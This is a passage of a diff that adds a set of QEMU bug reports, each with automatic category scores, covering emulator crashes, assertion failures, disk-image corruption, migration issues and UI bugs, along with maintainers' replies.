userspace program run from gdb crashes OS running in emulator +Description of problem: +SPARC emulation: userspace program run from gdb crashes OS running in emulator +Steps to reproduce: +As a user (not root!): +1. as -Q n -K PIC -b -L mandelbrot.s +2. ld -m a.out -o test +3. gdb ./test +4. run + +`as' is from gnu binutils (binutils-2.20.1-sol26-sparc-local.gz). +Additional information: +[mandelbrot.s](/uploads/edfe6f1fd01fa39ecce9ba4201454ae3/mandelbrot.s) + +screenshot: https://imgur.com/a/JD51DJA + +It could very well be a bug in my assembly code, but it is still strange that it crashes the whole system. + +~"kind::Bug"[in_asm.dat.xz](/uploads/6bb43ce2b7d6973da4751d236fb44e12/in_asm.dat.xz) diff --git a/results/classifier/108/graphic/1614348 b/results/classifier/108/graphic/1614348 new file mode 100644 index 000000000..9566539a9 --- /dev/null +++ b/results/classifier/108/graphic/1614348 @@ -0,0 +1,62 @@ +graphic: 0.925 +semantic: 0.905 +performance: 0.865 +other: 0.842 +permissions: 0.821 +PID: 0.755 +debug: 0.741 +device: 0.721 +files: 0.683 +socket: 0.669 +vnc: 0.566 +network: 0.537 +boot: 0.326 +KVM: 0.108 + +qemu-arm core dumped for no entry symbol programe + +Hi qemu developers, + +Environment: +* Fedora 24 x86_64 +* qemu-arm version 2.6.92, Copyright (c) 2003-2008 Fabrice Bellard +* arm-linux-gnu-gcc 6.1.1 20160621 (Red Hat Cross 6.1.1-2) (GCC) target: arm-linux-gnueabi +* glibc-arm-linux-gnu-devel-2.23 + +very simple hello.c: + +#include <stdio.h> + +int main(int argc, char *argv[]) +{ + printf("Hello World\n"); + + return 0; +} + +arm-linux-gnu-gcc hello.c -I/usr/arm-linux-gnu/include -L/usr/arm-linux-gnu/lib -nostdlib -lc + +/usr/bin/arm-linux-gnu-ld: Warning: Cannot find entry symbol _start; defaulting to 00000000000101fc + +qemu-arm -L /usr/arm-linux-gnu ./a.out + +Hello World +qemu: uncaught target signal 4 (Illegal instruction) - core dumped +Illegal instruction + +But provided entry symbol: + +arm-linux-gnu-gcc hello.c -I/usr/arm-linux-gnu/include -L/usr/arm-linux-gnu/lib -nostdlib /usr/arm-linux-gnu/lib/crt1.o /usr/arm-linux-gnu/lib/crti.o /usr/arm-linux-gnu/lib/crtn.o -lc + +qemu-arm -L /usr/arm-linux-gnu ./a.out is able to work happily! + +Regards, +Leslie Zhai + +file a.out + +a.out: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, BuildID[sha1]=6a86f764c1200a41253e1bc80d3155a295b87818, not stripped + +Why do you think this is a bug in QEMU? This program crashes on exit if you run it on real arm hardware. This is unsurprising as you have told the compiler to build it with no C runtime. The program thus starts at the beginning of 'main', and when it hits the return at the end there is nowhere for it to return to and it crashes. If you link the program with the C runtime the way you are expected to, then the runtime gets control at the start of execution and provides a place for main() to return to. If you choose not to link against the C runtime then it is your responsibility to provide an alternate runtime (including defining an entry point) which implements the semantics that the main() function expects. + + diff --git a/results/classifier/108/graphic/1615 b/results/classifier/108/graphic/1615 new file mode 100644 index 000000000..f47c23ccd --- /dev/null +++ b/results/classifier/108/graphic/1615 @@ -0,0 +1,26 @@ +graphic: 0.964 +device: 0.809 +debug: 0.666 +vnc: 0.642 +performance: 0.601 +semantic: 0.477 +PID: 0.414 +boot: 0.348 +files: 0.304 +socket: 0.298 +network: 0.286 +permissions: 0.230 +KVM: 0.213 +other: 0.029 + +8.0.0: Crash when attempting to commit snapshot +Description of problem: +When trying to commit a snapshot to the backing store, qemu exits with the error: + +`qemu: qemu_mutex_unlock_impl: Operation not permitted` +Steps to reproduce: +1. Run qemu command above +2. Open the monitor virtual console (Ctrl-Alt-2) +3. Execute command: `commit os` +Additional information: +Attached are the [backtrace](/uploads/ba8f519e6b00eb054ba416054c782122/8.0.0-1-bt) and the [configure output](/uploads/17124b45e12b252bd01cf41e7a3d2ea4/8.0.0-1-conf.gz). This is a regression from 7.2.1 diff --git a/results/classifier/108/graphic/1615212 b/results/classifier/108/graphic/1615212 new file mode 100644 index 000000000..a0922e86c --- /dev/null +++ b/results/classifier/108/graphic/1615212 @@ -0,0 +1,37 @@ +graphic: 0.984 +performance: 0.925 +device: 0.813 +network: 0.493 +permissions: 0.471 +vnc: 0.461 +debug: 0.418 +PID: 0.338 +semantic: 0.337 +other: 0.300 +boot: 0.264 +socket: 0.216 +files: 0.093 +KVM: 0.041 + +SDL UI switching to monitor half-broken and scrolling broken + +ctrl+alt+2 must be pressed 2 or more times for the monitor console window to appear with -sdl, the window flashes and disappears also before finally staying open + +backspace does not always work in -sdl also, and switching back and forth very quickly from the vga to the monitor windows, it hangs + +you need to do a proper code review of all the user interfaces. + +This is described a bit more here: + + https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg00946.html + +But basically it's a libsdl bug: + + https://bugzilla.libsdl.org/show_bug.cgi?id=3287 + +i see, but there are still problems with the user interfaces. + +did you use SDL1.2 or SDL2 here? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1626 b/results/classifier/108/graphic/1626 new file mode 100644 index 000000000..e8227f95b --- /dev/null +++ b/results/classifier/108/graphic/1626 @@ -0,0 +1,20 @@ +graphic: 0.950 +device: 0.870 +other: 0.850 +network: 0.748 +semantic: 0.550 +socket: 0.527 +vnc: 0.517 +KVM: 0.418 +boot: 0.364 +debug: 0.343 +permissions: 0.272 +PID: 0.240 +performance: 0.144 +files: 0.052 + +QEMU insists on using /var/tmp instead of /tmp +Description of problem: +On a host, our sysadmins have decided for whatever reason that `/var/tmp` is not a thing that normal users can write to (and perhaps that's dumb, but it is what it is and would be a challenging non-technical problem to solve). Whenever QEMU detects the temporary directory is /tmp, it changes it to `/var/tmp` without a mechanism to change it (see https://gitlab.com/qemu-project/qemu/-/commit/69fbfff95e849156985cf95e2010ffc8762e34e6). + +I'm sure in the general case this is fine, but can you add an environment variable or a ./configure option to make this location configurable? I really would like to write to `/tmp`. diff --git a/results/classifier/108/graphic/1629 b/results/classifier/108/graphic/1629 new file mode 100644 index 000000000..9793bbb48 --- /dev/null +++ b/results/classifier/108/graphic/1629 @@ -0,0 +1,16 @@ +graphic: 0.994 +performance: 0.395 +device: 0.218 +semantic: 0.211 +debug: 0.114 +boot: 0.087 +vnc: 0.068 +network: 0.045 +PID: 0.033 +other: 0.016 +socket: 0.013 +KVM: 0.013 +files: 0.011 +permissions: 0.008 + +qem-img Heap Buffer Overflow diff --git a/results/classifier/108/graphic/1629282 b/results/classifier/108/graphic/1629282 new file mode 100644 index 000000000..97474d218 --- /dev/null +++ b/results/classifier/108/graphic/1629282 @@ -0,0 +1,79 @@ +graphic: 0.946 +other: 0.922 +permissions: 0.921 +performance: 0.921 +debug: 0.919 +semantic: 0.912 +device: 0.907 +vnc: 0.896 +KVM: 0.861 +boot: 0.849 +PID: 0.834 +files: 0.832 +socket: 0.830 +network: 0.798 + +QEMU (still) hangs on Windows 7 install + +I'm trying to install Windows 7 as guest, but the machine still hangs (more precisely, the windows icon keeps flashing, but never goes past this stage). + +I think this is a different bug from https://bugs.launchpad.net/qemu/+bug/1581936. + +Specifically, its happens when the OVMF BIOS is used, and I can't find any workaround (in the above bug, by changing the display, the installation doesn't hang). + +The most minimal commandline that reproduces the issue is (generic format): + +$QEMU_BINARY \ + -drive if=pflash,format=raw,readonly,file=$QEMU_BIOS \ + -drive if=pflash,format=raw,file=$QEMU_BIOS_TMP \ + -enable-kvm \ + -m $QEMU_MEMORY \ + -display std \ + -cpu host,kvm=off -smp 4,sockets=1,cores=4 \ + -cdrom $QEMU_WINDOWS_7_CD \ +; + +I'm using `OVMF_15214.fd` as BIOS. + +I'll assume "OVMF_15214.fd" is from <http://www.tianocore.org/ovmf/>. It's an ancient build of OVMF (older than two and half years). The binary packaged in that ZIP file isn't even a split one, it's a unified binary that is unsuitable for the command line that you've given above. + +Please either grab the most recent OVMF build from your distribution, or a bleeding edge build from <https://www.kraxel.org/repos/> (recommended). Then create a copy of the varstore template, to be used as the VM's own private variable store. Also, fix the "-display std" command line option, as in "-vga std". It will just work then. + +Below I'll specify the commands that I just re-tested. Note that I'm also renaming the QEMU_BIOS and QEMU_BIOS_TMP variables (whose names are quite inappropriate) to FIRMWARE_BINARY and VARIABLE_STORE. + + # this binary corresponds to upstream git cc9a366d3b16, + # dated "Thu Sep 29 00:34:20 2016 +0100" + QEMU_BINARY=/opt/qemu-installed/bin/qemu-system-x86_64 + + # these files are from package + # "edk2.git-ovmf-x64-0-20160929.b2144.g84bc72f.noarch", installed + # from kraxel.org + FIRMWARE_BINARY=/usr/share/edk2.git/ovmf-x64/OVMF_CODE-pure-efi.fd + VARIABLE_STORE_TEMPLATE=/usr/share/edk2.git/ovmf-x64/OVMF_VARS-pure-efi.fd + VARIABLE_STORE=/tmp/guest1-vars.fd + + # Windows 7 installer disk + QEMU_WINDOWS_7_CD=en_windows_7_enterprise_n_with_sp1_x64_dvd_u_677704.iso + + # other settings + QEMU_MEMORY=2048 + + # create empty variable store from pristine template if the varstore doesn't + # exist yet, or has been lost for some reason + if ! [ -e "$VARIABLE_STORE" ]; then + cp -v -- "$VARIABLE_STORE_TEMPLATE" "$VARIABLE_STORE" + fi + + $QEMU_BINARY \ + -drive if=pflash,format=raw,readonly,file="$FIRMWARE_BINARY" \ + -drive if=pflash,format=raw,file="$VARIABLE_STORE" \ + -enable-kvm \ + -m $QEMU_MEMORY \ + -vga std \ + -cpu host,kvm=off -smp 4,sockets=1,cores=4 \ + -cdrom $QEMU_WINDOWS_7_CD + + + +Thanks! Using the OVMF provided with the Ubuntu 16.04 packages solved the issue. + diff --git a/results/classifier/108/graphic/1639225 b/results/classifier/108/graphic/1639225 new file mode 100644 index 000000000..c2f3e0215 --- /dev/null +++ b/results/classifier/108/graphic/1639225 @@ -0,0 +1,173 @@ +graphic: 0.921 +other: 0.917 +permissions: 0.913 +vnc: 0.907 +device: 0.902 +performance: 0.885 +PID: 0.877 +network: 0.877 +files: 0.875 +semantic: 0.875 +KVM: 0.852 +socket: 0.837 +debug: 0.816 +boot: 0.776 + +qcow2 - filesize 8.1Petabyte + + +problem : + +Filesystem Size Used Avail Use% Mounted on + +/dev/sdd1 120G 63G 57G 53% /storage/kvmstorage4ssd + +# pwd +/storage/kvmstorage4ssd/images + +# qemu-img info vsys19_ssd1.qcow2 +image: vsys19_ssd1.qcow2 +file format: qcow2 +virtual size: 20G (21474836480 bytes) +disk size: 11G +cluster_size: 65536 +Format specific information: + compat: 1.1 + lazy refcounts: true + refcount bits: 16 + corrupt: true +# ls -lah vsys19_* +-rw------- 1 root root 8.1P Nov 4 13:16 vsys19_ssd1.qcow2 + +# ls -la vsys19_* +-rw------- 1 root root 9007203702079488 Nov 4 13:16 vsys19_ssd1.qcow2 + +# qemu-img check vsys19_ssd1.qcow2 +qemu-img: Check failed: File too large + +# xfs_repair /dev/sdd1 +Phase 1 - find and verify superblock... +Phase 2 - using internal log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... + - agno = 0 + - agno = 1 + - agno = 2 + - agno = 3 + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... + - agno = 0 + - agno = 1 + - agno = 2 + - agno = 3 +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done + + +# pwd +/storage/kvmstorage4ssd/images + + <disk type='file' device='disk'> + <driver name='qemu' type='qcow2'/> + <source file='/storage/kvmstorage4ssd/images/vsys19_ssd1.qcow2'/> + <target dev='vdn' bus='virtio'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x0f' function='0x0'/> + </disk> + + +guest OS: + + +# uname -a +Linux vsys19 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) x86_64 GNU/Linux +cat /etc/debian_version +stretch/sid + +Nov 4 01:23:26 vsys19 kernel: [7654313.024844] end_request: I/O error, dev vdk, sector 8691272 +Nov 4 01:23:26 vsys19 kernel: [7654313.025328] EXT4-fs warning (device dm-1): ext4_end_bio:317: I/O error -5 writing to inode 262305 (offset 0 size 4202496 s +tarting block 1085897) +Nov 4 01:23:26 vsys19 kernel: [7654313.025334] Buffer I/O error on device dm-1, logical block 1085897 +Nov 4 01:23:26 vsys19 kernel: [7654313.025488] Buffer I/O error on device dm-1, logical block 1085898 +Nov 4 01:23:26 vsys19 kernel: [7654313.025632] Buffer I/O error on device dm-1, logical block 1085899 +Nov 4 01:23:26 vsys19 kernel: [7654313.025776] Buffer I/O error on device dm-1, logical block 1085900 +Nov 4 01:23:26 vsys19 kernel: [7654313.025920] Buffer I/O error on device dm-1, logical block 1085901 +Nov 4 01:23:26 vsys19 kernel: [7654313.026064] Buffer I/O error on device dm-1, logical block 1085902 +Nov 4 01:23:26 vsys19 kernel: [7654313.026207] Buffer I/O error on device dm-1, logical block 1085903 +Nov 4 01:23:26 vsys19 kernel: [7654313.026350] Buffer I/O error on device dm-1, logical block 1085904 +Nov 4 01:23:26 vsys19 kernel: [7654313.026500] Buffer I/O error on device dm-1, logical block 1085905 +Nov 4 01:23:26 vsys19 kernel: [7654313.028837] Buffer I/O error on device dm-1, logical block 1085906 +Nov 4 01:23:26 vsys19 kernel: [7654313.031122] end_request: I/O error, dev vdk, sector 8692280 +Nov 4 01:23:26 vsys19 kernel: [7654313.031325] EXT4-fs warning (device dm-1): ext4_end_bio:317: I/O error -5 writing to inode 262305 (offset 0 size 4202496 starting block 1086023) +Nov 4 01:23:26 vsys19 kernel: [7654313.031388] end_request: I/O error, dev vdk, sector 8693288 +Nov 4 01:23:26 vsys19 kernel: [7654313.031527] EXT4-fs warning (device dm-1): ext4_end_bio:317: I/O error -5 writing to inode 262305 (offset 0 size 4202496 starting block 1086149) +Nov 4 01:23:26 vsys19 kernel: [7654313.031598] end_request: I/O error, dev vdk, sector 8694296 +Nov 4 01:23:26 vsys19 kernel: [7654313.031736] EXT4-fs warning (device dm-1): ext4_end_bio:317: I/O error -5 writing to inode 262305 (offset 0 size 4202496 starting block 1086275) +Nov 4 01:23:26 vsys19 kernel: [7654313.031798] end_request: I/O error, dev vdk, sector 8695304 +Nov 4 01:23:26 vsys19 kernel: [7654313.031933] EXT4-fs warning (device dm-1): ext4_end_bio:317: I/O error -5 writing to inode 262305 (offset 0 size 4202496 starting block 1086401) + +KVM host : +# cat /etc/debian_version +stretch/sid + +Debian + + +# uname -a +Linux asus1 4.5.5-custom #1 SMP Sun May 22 21:14:57 CEST 2016 x86_64 GNU/Linux + +# dpkg -l | grep -i qemu +ii ipxe-qemu 1.0.0+git-20150424.a25a16d-1 all PXE boot firmware - ROM images for qemu +ii qemu 1:2.5+dfsg-5+b1 amd64 fast processor emulator +ii qemu-kvm 1:2.5+dfsg-5+b1 amd64 QEMU Full virtualization on x86 hardware +ii qemu-slof 20151103+dfsg-2 all Slimline Open Firmware -- QEMU PowerPC version +ii qemu-system 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries +ii qemu-system-arm 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries (arm) +ii qemu-system-common 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries (common files) +ii qemu-system-mips 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries (mips) +ii qemu-system-misc 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries (miscelaneous) +ii qemu-system-ppc 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries (ppc) +ii qemu-system-sparc 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries (sparc) +ii qemu-system-x86 1:2.5+dfsg-5+b1 amd64 QEMU full system emulation binaries (x86) +ii qemu-user 1:2.5+dfsg-5+b1 amd64 QEMU user mode emulation binaries +ii qemu-user-binfmt 1:2.5+dfsg-5+b1 amd64 QEMU user mode binfmt registration for qemu-user +ii qemu-utils 1:2.5+dfsg-5+b1 amd64 QEMU utilities +ii qemubuilder 0.80 amd64 pbuilder using QEMU as backend + + +thereis any chance to fix this qcow2 image? + +Seems like you are using the QEMU from your Linux distribution (Debian?). If you want to have support for that version, you should use the bug tracker from your distro instead. Otherwise, can you please try again with the latest version from http://wiki.qemu-project.org/Download to see whether the bug is already fixed there? Thanks! + +Hi, + +I don't know how you got that image in that state and thus I won't consider this a bug report (there are ways to break qcow2 images which aren't caused by bugs in qemu), but regarding your question to save the data on the image, have you tried qemu-img convert to copy the image's contents to a new file? Since qemu-img info can still read the file, qemu-img convert should be able to do the same. + +Max + +# qemu-img convert -f qcow2 -O qcow2 vsys19_ssd1.qcow2 1.qcow2 +qcow2: Image is corrupt: Data cluster offset 0x10001091b0400 unaligned (L2 offset: 0x1000e0000, L2 index: 0x90c); further non-fatal corruption events will be suppressed + + +Well, that's too bad. At least it's non-fatal, which means that qemu will only refuse to read that single cluster (still, it will stop convert from working because that requires the whole image to be readable). + +So another idea would be to use qemu-nbd and the nbd kernel module to bind the image to a block device under /dev and then use dd to copy as much data off as possible; or to use qemu-img dd which will be part of qemu 2.8 (it only has a subset of dd's functionality, but it does support skip and count, so it's enough to copy around the corrupted clusters). + +Apart from that, we do want to improve qemu-img check in the future so that it can repair more types of corruption (such as the one you're facing), but it's not yet being worked on. + +Max + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1640 b/results/classifier/108/graphic/1640 new file mode 100644 index 000000000..1bb123e57 --- /dev/null +++ b/results/classifier/108/graphic/1640 @@ -0,0 +1,40 @@ +graphic: 0.924 +device: 0.922 +PID: 0.804 +network: 0.803 +vnc: 0.793 +performance: 0.793 +socket: 0.771 +files: 0.744 +boot: 0.704 +permissions: 0.589 +debug: 0.572 +other: 0.552 +semantic: 0.435 +KVM: 0.100 + +aarch64: usb_mtp_get_data: Assertion `(s->dataset.size == 0xFFFFFFFF) || (s->dataset.size == d->offset)' failed +Description of problem: +When attempting to write to an MTP device in QEMU 8.0.0 on arm64, QEMU will crash at runtime with the following error: +`qemu-system-aarch64: ../hw/usb/dev-mtp.c:1819: usb_mtp_get_data: Assertion '(s->dataset.size == 0xFFFFFFFF) || (s->dataset.size == d->offset)' failed.` + +This was observed in Nixpkgs where we use QEMU to provide automated testing of MTP devices for GVFS and jmtpfs, the full log for that test run that crashes due to this QEMU regression on arm64 is available here https://hydra.nixos.org/build/218858556/nixlog/1 +Steps to reproduce: +1. Launch a QEMU virtual machine with `-usb -device usb-mtp,rootdir=/tmp,readonly=false` using any QEMU version above 6.0.0 +2. Mount the MTP device using something like: + ``` + mkdir mtpDevice && jmtpfs mtpDevice + ``` +3. Try to write to the mtp device: + ``` + dd if=/dev/urandom of=./mtpDevice/file + ``` +4. Observe that QEMU will crash when trying to write to the device, like this: + ``` + client # 10+0 records in + client # 10+0 records out + client # 10485760 bytes (10 MB, 10 MiB) copied, 0.0318363 s, 329 MB/s + client # qemu-system-aarch64: ../hw/usb/dev-mtp.c:1819: usb_mtp_get_data: Assertion '(s->dataset.size == 0xFFFFFFFF) || (s->dataset.size == d->offset)' failed.error + ``` +Additional information: + diff --git a/results/classifier/108/graphic/1644 b/results/classifier/108/graphic/1644 new file mode 100644 index 000000000..60e53867a --- /dev/null +++ b/results/classifier/108/graphic/1644 @@ -0,0 +1,29 @@ +graphic: 0.980 +device: 0.950 +PID: 0.885 +files: 0.864 +boot: 0.858 +permissions: 0.853 +performance: 0.842 +socket: 0.823 +vnc: 0.815 +semantic: 0.801 +debug: 0.779 +network: 0.757 +other: 0.655 +KVM: 0.367 + +qemu 8.0.0 console-gl.c:105: surface_gl_update_texture: Assertion `gls' failed. +Description of problem: +run ubuntu20.04 in virtualBox, and run qemu in this ubuntu. +1. qemu report error at qemu start. +2. qemu-system-x86_64 can't run myOS with 'virtio-gpu-pci -display sdl,gl=on', +3. qemu report error: qemu-system-x86_64: ../ui/console-gl.c:105: surface_gl_update_texture: Assertion `gls' failed. Aborted +Steps to reproduce: +1. run ubuntu20.04 in virtualBox +2. qemu config enabled sdl, virglrenderer, opengl, gtk +3. ./qemu-system-x86_64 -machine q35 -cpu Nehalem -m 1024 -smp 8 -kernel myOS -device virtio-gpu-pci -display sdl,gl=on +4. qemu report error: qemu-system-x86_64: ../ui/console-gl.c:105: surface_gl_update_texture: Assertion `gls' failed. Aborted +Additional information: +qemu-system-x86_64: ../ui/console-gl.c:105: surface_gl_update_texture: Assertion `gls' failed. +Aborted diff --git a/results/classifier/108/graphic/1646 b/results/classifier/108/graphic/1646 new file mode 100644 index 000000000..50c6401a0 --- /dev/null +++ b/results/classifier/108/graphic/1646 @@ -0,0 +1,76 @@ +graphic: 0.940 +semantic: 0.919 +device: 0.897 +performance: 0.892 +permissions: 0.891 +debug: 0.865 +other: 0.861 +PID: 0.854 +boot: 0.844 +vnc: 0.837 +network: 0.830 +files: 0.824 +KVM: 0.824 +socket: 0.784 + +fstrim dont work after live migrate +Description of problem: +We have use lvm thin pool and after live migration non-shared storage fstrim cannot free data usage Data% without reboot, after reboot fstim work fine + +``` + LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert + p639937 vm Vwi-aotz-- 30.00g pool 99.35 + +virsh qemu-agent-command p639937 '{"execute":"guest-fstrim"}' +{"return":{"paths":[{"minimum":0,"path":"/","trimmed":0}]}} + +virsh shutdown p639937 +Domain 'p639937' is being shutdown + +virsh start p639937 +Domain 'p639937' started + +virsh qemu-agent-command p639937 '{"execute":"guest-fstrim"}' +{"return":{"paths":[{"minimum":0,"path":"/","trimmed":29178654720}]}} + +lvs|grep p639937 + p639937 vm Vwi-aotz-- 30.00g pool 9.58 +``` + +On source host before migration: +``` + LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert + p639937 vm Vwi-a-tz-- 30.00g pool 9.48 +``` + +migration script +``` +SSH_OPTS='-o StrictHostKeyChecking=no -o PasswordAuthentication=no ' +MIGR_OPTS="--live --copy-storage-all --verbose --persistent --undefinesource" +ssh $SSH_OPTS $HOST -t "[ -b /dev/vm/$ACCT ] || /usr/sbin/lvcreate -V${SIZE}G -T vm/pool -n$ACCT" || f_print_err "Error: creation lvm" +virsh migrate $MIGR_OPTS $ACCT qemu+ssh://$SERV/system tcp://local.$SERV/ || f_print_err "Error on step: virsh migrate" +echo "Waiting for trim start..." +sleep 10 +ssh $SSH_OPTS $HOST -t "/usr/bin/virsh qemu-agent-command $ACCT --timeout 60 '{\"execute\":\"guest-fstrim\"}' >/dev/null 2>&1" +``` + +Disc config: +``` + <disk type='block' device='disk'> + <driver name='qemu' type='raw' cache='none' io='threads' discard='unmap'/> + <source dev='/dev/vm/p639937'/> + <backingStore/> + <target dev='sda' bus='scsi'/> + <iotune> + <write_bytes_sec>104857600</write_bytes_sec> + <write_bytes_sec_max>524288000</write_bytes_sec_max> + <write_bytes_sec_max_length>120</write_bytes_sec_max_length> + </iotune> + <address type='drive' controller='0' bus='0' target='0' unit='0'/> + </disk> +``` + +Sometimes trimming working after migration, bit this is very rare. +We have try rescanning disc, drop caches on vm after migration, but didnt help. + +Inside vm's ext4 fs and almalinux 8/ubuntu 20+/debian 10-11 diff --git a/results/classifier/108/graphic/1646610 b/results/classifier/108/graphic/1646610 new file mode 100644 index 000000000..d73898f52 --- /dev/null +++ b/results/classifier/108/graphic/1646610 @@ -0,0 +1,98 @@ +graphic: 0.966 +other: 0.959 +performance: 0.955 +device: 0.952 +debug: 0.932 +PID: 0.927 +KVM: 0.927 +permissions: 0.926 +files: 0.913 +semantic: 0.900 +vnc: 0.884 +network: 0.884 +boot: 0.871 +socket: 0.855 + +"Assertion `!r->req.sg' failed." during live migration with VirtIO + +We've hit this issue twice so far, but don't have an obvious repro yet. It's pretty rare for us to hit it but I'm still trying so I can get a core and backtrace. The guest was Windows running a constant workload. We were using VirtIO SCSI drivers in both cases. + +In both cases we hit the assert here: + +hw/scsi/scsi-generic.c: + +static void scsi_generic_save_request(QEMUFile *f, SCSIRequest *req) +{ + SCSIGenericReq *r = DO_UPCAST(SCSIGenericReq, req, req); + + qemu_put_sbe32s(f, &r->buflen); + if (r->buflen && r->req.cmd.mode == SCSI_XFER_TO_DEV) { +*** assert(!r->req.sg); + qemu_put_buffer(f, r->buf, r->req.cmd.xfer); + } +} + +From code inspection, it seems that this will always happen if scsi_req_enqueue_internal in hw/scsi/scsi-bus.c is ever invoked. + +static void scsi_req_enqueue_internal(SCSIRequest *req) +{ + assert(!req->enqueued); + scsi_req_ref(req); + if (req->bus->info->get_sg_list) { + req->sg = req->bus->info->get_sg_list(req); + } else { + req->sg = NULL; + } + req->enqueued = true; + QTAILQ_INSERT_TAIL(&req->dev->requests, req, next); +} + +req->bus->info->get_sg_list will return &req->qsgl for a virtio-scsi bus since it's a method stored on the SCSIBusInfo struct. I didn't see anything that would clear the req->sg if scsi_req_enqueue_internal is called at least once. + +I think this can only happen if scsi_dma_restart_bh in hw/scsi/scsi-bus.c is called. The only other location I see scsi_req_enqueue_internal is on the load side for the destination of a migration. + +static void scsi_dma_restart_bh(void *opaque) +{ + SCSIDevice *s = opaque; + SCSIRequest *req, *next; + + qemu_bh_delete(s->bh); + s->bh = NULL; + + QTAILQ_FOREACH_SAFE(req, &s->requests, next, next) { + scsi_req_ref(req); + if (req->retry) { + req->retry = false; + switch (req->cmd.mode) { + case SCSI_XFER_FROM_DEV: + case SCSI_XFER_TO_DEV: + scsi_req_continue(req); + break; + case SCSI_XFER_NONE: + scsi_req_dequeue(req); + scsi_req_enqueue(req); // *** this calls scsi_req_enqueue_internal + break; + } + } + scsi_req_unref(req); + } +} + +Finally when put_scsi_requests is called for migration, it seems like it will call both virtio_scsi_save_request (from bus->info->save_request) and scsi_generic_save_request (from req->ops->save_request) and trigger the assert. + +I searched for a bit, but didn't find anyone else reporting this. Has anyone else seen this? It seems to me like that assert should check that the sg list is empty instead of checking that it exists. Is this an appropriate assessment? Assuming I find a repro, I'll try to test this solution. + +Thanks! + +Which version of QEMU are you using? + +Hi Thomas, + +Thanks for looking. We're using version 2.3.0. + +OK. QEMU version 2.3 is not maintained by the QEMU project any more. Can you reproduce it with the latest version (release candidate of 2.8 preferably, or at least 2.7)? + +Thanks Thomas. Will do. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1649233 b/results/classifier/108/graphic/1649233 new file mode 100644 index 000000000..60fc2e746 --- /dev/null +++ b/results/classifier/108/graphic/1649233 @@ -0,0 +1,40 @@ +graphic: 0.931 +device: 0.885 +performance: 0.744 +semantic: 0.724 +other: 0.717 +permissions: 0.642 +network: 0.593 +KVM: 0.570 +files: 0.529 +debug: 0.519 +PID: 0.476 +vnc: 0.462 +boot: 0.444 +socket: 0.427 + +scrolling does not work once mouse is grabbed + +The title pretty much told it all. It occurs in Windows 10 RS1 on qemu 2.7.0. Interestingly, I can scroll in the guest if the mouse is not grabbed. So using usb-tablet sort of works around it, but if I explicitly grab the mouse with Ctrl+Alt+G, scrolling will also stop working. + +The host is Arch Linux so the qemu build uses gtk(3) for GUI by default. I wanted to test with sdl but it seems sdl support in qemu is sort of broken that I can't even start the virtual machine properly with that. + +Full commands I used: + +qemu-system-x86_64 -enable-kvm -cpu host -smp cores=4 -m 4G -drive file=test.img,format=raw + +qemu-system-x86_64 -enable-kvm -cpu host -smp cores=4 -m 4G -drive file=test.img,format=raw -device nec-usb-xhci -device usb-kbd -device usb-mouse + +qemu-system-x86_64 -enable-kvm -cpu host -smp cores=4 -m 4G -drive file=test.img,format=raw -device nec-usb-xhci -device usb-kbd -device usb-tablet + +Not sure if it is relevant, but there's a HID button device cannot get started in Windows 10 RS1. + +I am also having trouble with this bug. I have QEMU version 2.11.1 on kubuntu. I have the same symptoms as above, and would be willing to assist in troubleshooting. The mouse I am using has two side buttons for forward and back on web-browsing and a scroll wheel with scroll button. I am using QEMU/KVM through Virtual Machine Manager. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting all older bugs to +"Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1651167 b/results/classifier/108/graphic/1651167 new file mode 100644 index 000000000..f73a90ba0 --- /dev/null +++ b/results/classifier/108/graphic/1651167 @@ -0,0 +1,565 @@ +graphic: 0.961 +permissions: 0.939 +device: 0.930 +debug: 0.915 +performance: 0.913 +other: 0.890 +socket: 0.890 +vnc: 0.866 +PID: 0.846 +files: 0.829 +KVM: 0.810 +network: 0.805 +semantic: 0.799 +boot: 0.773 + +hw/ipmi/isa_ipmi_bt.c:283: suspect use of macro ? + +I just had a go at compiling qemu trunk with +llvm trunk. It said: + +hw/ipmi/isa_ipmi_bt.c:283:31: warning: logical not is only applied to the left hand side of this bitwise operator [-Wlogical-not-parentheses] + +Source code is + + IPMI_BT_SET_HBUSY(ib->control_reg, + !IPMI_BT_GET_HBUSY(ib->control_reg)); + +That use of ! causes trouble. The SET and GET +macros are defined as: + +#define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ + (((v & 1) << IPMI_BT_HBUSY_BIT))) + +I can make the compiler shut up by adding extra () in the last +use of v in the SET macro, like this: + +#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & 